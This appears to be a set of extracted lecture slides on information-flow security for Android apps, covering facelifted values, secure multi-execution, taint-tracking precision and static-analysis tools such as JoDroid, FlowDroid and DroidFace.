- Repeat computations for each security level (inspired by secure multi-execution (SME) for non-interference [Devriese and Piessens’10])

- Public level computes on dummy values instead of secrets

- In contrast to SME,
  - only assignments are multi-executed (not branching)
  - branch conditions evaluated on real values

- Output at level L uses data computed at level L
Facelifted values

\[ h = \text{secret} \]
\[ x = 2 \ast h \]
\[ \text{out}(L, x) \]

\[ h^H = \text{secret} \]
\[ h^L = \text{dummy} \]
\[ x^H = 2 \ast h^H \]
\[ x^L = 2 \ast h^L \]
\[ \text{out}(L, x^L) \]
Precision

```plaintext
int [] a := [0,0];
a[h%2] := h;
l := a[1-h%2]
```

- Is this program secure?
Precision

```c
int [] a := [0,0];
a[h%2] := h;
l := a[1-h%2]
```

• Is this program secure?

• Secure, yet rejected by classical taint trackers

• Entire array tainted
Precision

```c
int [] a := [0,0];
a[h%2] := h;
l := a[1-h%2]
```

- Is this program secure?
- Secure, yet rejected by classical taint trackers
  - Entire array tainted
- Rightfully accepted by facelifted values
Attack detection

- Facelifted values are a “repair” mechanism (like SME)
- Attack detection
  - Match outcome at public level from the secret and public runs
  - Flag as attack if mismatched
- No false positives

\[
\begin{align*}
h^H &= \text{secret} \\
\text{h}^L &= \text{dummy} \\
x^H &= 2 \times h^H \\
x^L &= 2 \times h^L \\
\text{out}(L, x^L)
\end{align*}
\]
Implementation

- Android APK converted to Jimple by Soot
- Source-to-source transform on Jimple
- DroidFace converts Jimple back to Android APK

http://www.cse.chalmers.se/research/group/security/facets/
JoDroid
[Mohr et al, ’15]

- Compute **program dependence graph** (PDG)
  - data edges represent explicit flows
  - control edges represent implicit flows

- Compute **backward slicing** of sink and check that no source is there → **non-interference** (machine-checked proof for Java)

http://pp.ipd.kit.edu/projects/joana/
Soot-based Toolchain

[Arzt et al.’14]

- **Soot**: transforms Dalvik bytecode into Jimple intermediate format and provides basic analysis tools (deadcode elimination, constant value propagation, etc.)

- **FlowDroid**: static data-flow tracker

- **Susi**: machine learning to identify sources and sinks in Android apps

- **StubDroid**: computes a taint interface for libraries in order to use it in the analysis (as opposed to analysing the whole library along with the app over and over)

- **ICCTA**: inter-component data flow analysis

- Does not target a sound analysis…
Next challenges in formal analysis of mobile code

- Formal treatment of native code
- Reasoning about lower layers of the architecture
- Secure development tools (security by design, proof carrying code, …)
- Domain-specific properties and analysis (e.g., automotive)
- Other platforms (iOS, …)
THANK YOU!

QUESTIONS?